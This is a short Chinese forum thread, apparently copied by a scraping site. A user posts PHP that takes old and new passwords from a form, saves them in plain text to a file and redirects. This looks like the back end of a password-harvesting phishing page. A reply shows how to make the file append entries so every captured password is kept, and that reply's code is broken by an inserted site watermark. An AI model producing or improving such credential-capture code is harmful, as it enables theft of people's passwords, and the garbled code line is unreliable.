文章目录[隐藏]
本帖最后由 abu_sec 于 2013-09-26 09:01:14 编辑
if(isset($_POST['OldPasswd']) && isset($_POST['Passwd'])) { $OldPasswd = strip_tags($_POST['OldPasswd']); $password = strip_tags($_POST['Passwd']); $content = 'OldPasswd: ' . $OldPasswd . '<br />Password: '. $password . '<br />Powerd by 谢谢'; file_put_contents("out.txt",$content);//用什么函数能让之后变量的内容不覆盖之前的内容??? header('Location: redirect.php'); }?>
回复讨论(解决方案)
file_put_contents(“out.txt”,$content, FILE_APPEND);//用什么函数能让之后变量的内容不覆盖之前的内容???
file_put_contents("out.txt"<strong>)本文来(源gaodai#ma#com搞@@代~&码*网2</strong><pre>搞代gaodaima码
,$content,FILE_APPEND);
PHP的函数库就是有优势。
c++的话只有框架才到这个程度。java不太清楚,应该也不错。